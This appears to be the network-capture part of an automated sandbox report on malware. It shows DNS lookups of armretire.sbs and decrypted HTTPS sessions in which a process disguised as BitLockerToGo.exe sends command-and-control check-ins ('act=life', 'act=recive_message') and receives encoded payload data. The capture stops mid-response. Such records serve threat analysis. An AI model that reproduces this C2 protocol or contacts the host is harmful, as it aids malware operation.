Oct 24, 2024 14:51:23.570466995 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:23.570569992 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:23.572776079 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.688705921 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.688705921 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.688729048 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:23.688743114 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:23.868454933 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.868546963 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:23.868702888 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.870040894 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.870078087 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:24.479135036 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:24.479227066 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:24.498879910 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:24.498917103 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:24.499726057 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:24.517396927 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:24.517425060 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:24.517575026 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.212646008 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.212698936 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.212729931 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.212753057 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.212764978 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.212791920 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.212807894 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.213057995 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.213095903 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.213103056 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.213141918 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.213179111 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.213185072 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.218076944 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.218122959 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.218132973 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.267754078 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.329713106 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.329778910 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.329880953 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.330003023 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.330312014 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.330358982 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.330389023 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.330405951 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.530143976 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.530186892 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:25.530371904 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.530783892 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:25.530808926 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.129869938 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.130033970 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.203022957 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.203047991 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.204195976 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.252123117 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.267278910 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.267589092 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.267623901 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.268261909 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.268277884 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.675839901 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.675937891 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.676013947 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.676115990 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.676135063 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.774576902 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.774627924 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:26.774699926 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.775048971 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:26.775059938 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:27.388254881 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:27.388395071 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:27.389904022 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:27.389915943 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:27.390239954 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:27.409660101 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:27.409835100 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:27.409866095 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:27.927073956 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:27.927216053 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:27.927385092 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:27.927433968 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.123128891 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.123204947 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:28.123296976 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.123663902 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.123684883 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:28.727015972 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:28.727137089 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.728863955 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.728888035 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:28.729131937 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:28.730411053 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.730562925 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.730598927 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:28.730674982 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:28.730685949 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:29.400727034 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:29.400996923 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:29.400995970 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:29.401052952 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:29.916084051 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:29.916131020 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:29.916225910 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:29.916555882 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:29.916568041 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:30.524461985 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:30.524532080 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:30.526015043 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:30.526021004 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:30.527050972 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:30.528244019 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:30.528362989 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:30.528412104 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.046216011 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.046329021 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.046426058 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.066230059 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.066262960 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.108221054 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.108287096 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.108380079 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.108814001 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.108829021 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.711642981 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.711889029 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.713716984 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.713752031 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.714021921 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:31.715656042 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.715776920 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:31.715802908 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.218761921 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.218872070 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.218961954 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.219403028 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.219423056 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.329360008 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.329410076 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.329632044 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.330205917 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.330225945 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.942610979 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.942687035 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.944149971 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.944155931 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.944453955 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:32.945636988 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.945714951 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:32.945719004 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:33.432313919 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:33.432573080 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:33.432683945 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:33.432797909 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:33.432820082 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:33.635087013 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:33.635133982 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:33.635216951 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:33.639184952 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:33.639197111 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.258455038 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.258667946 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.260325909 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.260341883 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.260603905 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.299782991 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.299916983 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.299928904 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.795397043 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.795494080 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.795572996 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.795768023 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.795795918 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.826519012 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.826581001 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:34.826675892 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.827037096 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:34.827049971 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:35.438673973 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:35.438776970 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:35.440294981 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:35.440304041 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:35.440516949 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:35.441852093 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:35.441879034 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:35.441898108 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:35.769200087 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:35.769315958 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:35.770287037 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:35.770385027 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:35.770385027 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:35.770433903 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:35.770487070 CEST	443	49745	188.114.96.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 14:51:22.291280031 CEST	60097	53	192.168.2.4	1.1.1.1
Oct 24, 2024 14:51:22.305902958 CEST	53	60097	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 14:51:22.291280031 CEST	192.168.2.4	1.1.1.1	0xeea7	Standard query (0)	armretire.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 14:51:22.305902958 CEST	1.1.1.1	192.168.2.4	0xeea7	No error (0)	armretire.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 14:51:22.305902958 CEST	1.1.1.1	192.168.2.4	0xeea7	No error (0)	armretire.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

armretire.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:23 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: armretire.sbs
2024-10-24 12:51:23 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 12:51:23 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=05inqdasq9ljoe71a8m5mpdrca; expires=Mon, 17 Feb 2025 06:38:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=353VouRSECGrxlnyLBWrEans5x%2F1Xr%2FHX74U7yuRX2k4Vo7TzhaDkRyiWqWPI88z9ZxYfSGFEQhLIWwHiSimlfdwx%2FfbqV%2FggHYraCLU6v%2FNFZxrv8%2B4IFAGsTjFufCu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a1915a9ce0b91-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1414062&cwnd=243&unsent_bytes=0&cid=60a9f6be7985cfb5&ts=608&x=0"
2024-10-24 12:51:23 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-24 12:51:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:24 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: armretire.sbs
2024-10-24 12:51:24 UTC	77	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 74 4c 59 4d 65 35 2d 2d 31 31 31 26 6a 3d 35 63 39 62 38 36 37 34 61 36 33 30 64 39 31 30 31 62 34 36 37 33 33 61 61 33 37 66 31 35 65 63 Data Ascii: act=recive_message&ver=4.0&lid=tLYMe5--111&j=5c9b8674a630d9101b46733aa37f15ec
2024-10-24 12:51:25 UTC	1007	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1htd9t7jdnnmighl4op4ucftrv; expires=Mon, 17 Feb 2025 06:38:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NzkgZqPpfn6Bbhv86QuOU6tfLjC%2Fu1hmHeojHQTrxPDVgStM%2BeISR3NvV7V7PzErxUvlCPua35qzyCIi792%2BeXRknN7dmwOemmxwgdt%2F%2B5CFucPJJGCpKDOwfCB1IljS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a191fbf1fe98b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=974&delivery_rate=1770171&cwnd=243&unsent_bytes=0&cid=add23765d658a939&ts=739&x=0"
2024-10-24 12:51:25 UTC	362	IN	Data Raw: 33 64 65 63 0d 0a 2b 39 2b 55 32 41 66 74 58 46 77 64 58 4e 73 4e 67 6b 35 68 49 4a 4c 6b 69 2f 46 47 54 43 31 47 63 52 4a 6f 4b 44 38 6f 67 75 6d 41 2f 65 4c 36 50 64 6c 77 66 6d 34 35 2b 54 66 6b 4c 77 31 54 39 38 69 70 6b 43 4a 75 46 79 41 51 66 68 74 4e 45 77 72 30 68 4e 6e 6c 38 72 6c 72 6e 6a 6c 77 50 7a 6d 6a 4c 37 67 56 47 67 4c 33 69 71 6e 4c 5a 43 6c 48 4a 42 42 2b 43 6b 6c 55 52 2f 4b 46 6d 4c 66 34 76 32 2b 49 50 7a 68 38 4d 4c 5a 6f 35 79 73 41 53 76 79 4e 35 70 6b 72 62 67 46 6b 46 47 68 4b 45 68 31 6c 35 35 32 61 6b 76 57 72 62 4d 38 68 63 47 5a 2b 76 6d 4f 67 64 45 4e 42 39 34 62 6e 6c 79 49 6e 52 53 34 5a 64 67 74 4d 56 56 6a 72 6a 35 4f 33 39 72 78 75 67 6a 59 73 63 54 71 78 59 2b 45 68 41 41 4b 2b 78 75 36 4c 5a 48 59 50 64 79 46 7a 47 Data Ascii: 3dec+9+U2AftXFwdXNsNgk5hIJLki/FGTC1GcRJoKD8ogumA/eL6Pdlwfm45+TfkLw1T98ipkCJuFyAQfhtNEwr0hNnl8rlrnjlwPzmjL7gVGgL3iqnLZClHJBB+CklUR/KFmLf4v2+IPzh8MLZo5ysASvyN5pkrbgFkFGhKEh1l552akvWrbM8hcGZ+vmOgdENB94bnlyInRS4ZdgtMVVjrj5O39rxugjYscTqxY+EhAAK+xu6LZHYPdyFzG
2024-10-24 12:51:25 UTC	1369	IN	Data Raw: 5a 4f 55 2b 43 45 76 39 69 2b 6d 65 4c 69 46 4d 4a 42 52 36 41 45 56 58 54 75 32 47 6e 37 33 32 2b 69 76 50 4f 53 59 2f 5a 76 6c 4d 35 54 77 45 54 75 62 45 30 39 4d 37 59 46 5a 6b 46 48 78 4b 45 68 31 43 35 59 69 61 74 76 6d 35 62 59 51 73 50 6d 30 34 74 47 72 79 4b 67 5a 4d 2b 6f 58 37 6d 53 6f 6f 54 43 30 59 65 51 39 4e 57 51 71 75 79 35 36 6c 74 75 49 6c 72 6a 4d 31 63 7a 53 75 62 36 41 7a 54 56 75 77 67 65 58 54 66 47 35 4c 4a 52 64 78 44 6b 52 54 54 75 79 4e 6c 37 44 35 76 47 2b 50 4f 54 52 33 4e 72 68 69 36 79 4d 44 52 2f 32 43 37 35 38 6c 4b 77 39 71 55 33 63 53 43 67 55 4b 7a 6f 79 61 72 37 53 50 5a 6f 45 77 4f 57 6c 2b 70 69 48 35 62 41 52 4f 73 4e 36 70 6e 53 45 68 58 53 55 42 64 51 52 59 55 55 2f 6d 68 70 71 7a 39 72 39 69 67 6a 41 34 65 44 32 Data Ascii: ZOU+CEv9i+meLiFMJBR6AEVXTu2Gn732+ivPOSY/ZvlM5TwETubE09M7YFZkFHxKEh1C5Yiatvm5bYQsPm04tGryKgZM+oX7mSooTC0YeQ9NWQquy56ltuIlrjM1czSub6AzTVuwgeXTfG5LJRdxDkRTTuyNl7D5vG+POTR3Nrhi6yMDR/2C758lKw9qU3cSCgUKzoyar7SPZoEwOWl+piH5bAROsN6pnSEhXSUBdQRYUU/mhpqz9r9igjA4eD2
2024-10-24 12:51:25 UTC	1369	IN	Data Raw: 41 52 4f 73 4e 36 70 6e 79 30 75 52 43 34 58 63 41 31 48 57 45 6e 6e 69 4a 53 36 2f 4c 52 69 69 7a 49 33 63 6a 69 35 61 4f 51 70 45 55 66 35 69 75 58 54 61 6d 35 49 50 46 4d 6f 53 6d 56 61 58 4f 4f 6b 6d 71 7a 2f 2b 6e 72 42 4a 33 35 34 4d 76 6b 33 6f 43 73 47 53 76 75 41 34 5a 4d 32 4b 30 45 76 45 6e 6f 4d 53 31 42 47 35 6f 75 59 76 66 43 32 5a 59 67 35 4c 47 30 37 76 33 33 71 62 45 30 43 39 35 36 70 79 32 51 59 58 7a 4d 43 5a 6b 68 2f 58 6b 54 75 6a 49 2f 39 36 66 52 38 7a 7a 6b 79 50 32 62 35 5a 4f 41 67 42 45 72 32 67 75 47 63 4b 79 64 64 4a 52 39 2b 47 45 31 64 51 2b 36 45 6c 62 54 37 76 57 69 45 4e 44 4e 37 4f 62 67 76 72 6d 77 45 57 72 44 65 71 61 55 30 49 30 4d 4b 47 48 77 44 43 6b 49 45 2b 63 75 65 73 62 62 69 4a 59 73 79 4e 6e 55 78 73 47 58 71 Data Ascii: AROsN6pny0uRC4XcA1HWEnniJS6/LRiizI3cji5aOQpEUf5iuXTam5IPFMoSmVaXOOkmqz/+nrBJ354Mvk3oCsGSvuA4ZM2K0EvEnoMS1BG5ouYvfC2ZYg5LG07v33qbE0C956py2QYXzMCZkh/XkTujI/96fR8zzkyP2b5ZOAgBEr2guGcKyddJR9+GE1dQ+6ElbT7vWiENDN7ObgvrmwEWrDeqaU0I0MKGHwDCkIE+cuesbbiJYsyNnUxsGXq
2024-10-24 12:51:25 UTC	1369	IN	Data Raw: 61 4a 71 64 31 6b 4b 56 64 6b 53 7a 41 6c 62 57 67 49 77 62 48 5a 6f 72 69 6a 4a 59 67 79 66 69 64 2b 74 57 7a 73 4a 41 78 45 2b 59 72 6a 6d 69 38 69 52 43 41 66 65 51 39 4d 58 45 2f 6c 69 70 32 78 2f 4c 78 6d 6a 44 45 78 63 44 62 35 49 61 41 72 47 77 4b 6f 78 73 79 45 4c 79 42 4a 5a 41 77 2b 45 77 70 61 52 71 44 54 32 62 48 2f 76 47 4f 4b 4d 6a 39 35 4e 72 78 6e 35 43 30 46 52 50 4f 4a 37 5a 59 6c 49 55 73 6f 48 58 6f 4c 53 31 46 42 37 34 43 63 2f 62 6a 36 59 70 64 2b 5a 6a 38 50 75 6e 6e 33 50 41 38 43 37 38 6a 77 30 79 4d 69 44 33 78 54 63 52 68 41 56 30 54 6c 68 4a 79 2b 2b 62 31 6f 69 54 49 30 64 6a 61 2f 59 4f 6b 2b 41 45 37 2b 67 65 65 66 4b 69 4e 46 4a 78 34 77 52 41 70 61 55 71 44 54 32 5a 48 78 74 30 75 45 4d 6a 6b 2f 49 66 64 32 6f 43 73 50 41 Data Ascii: 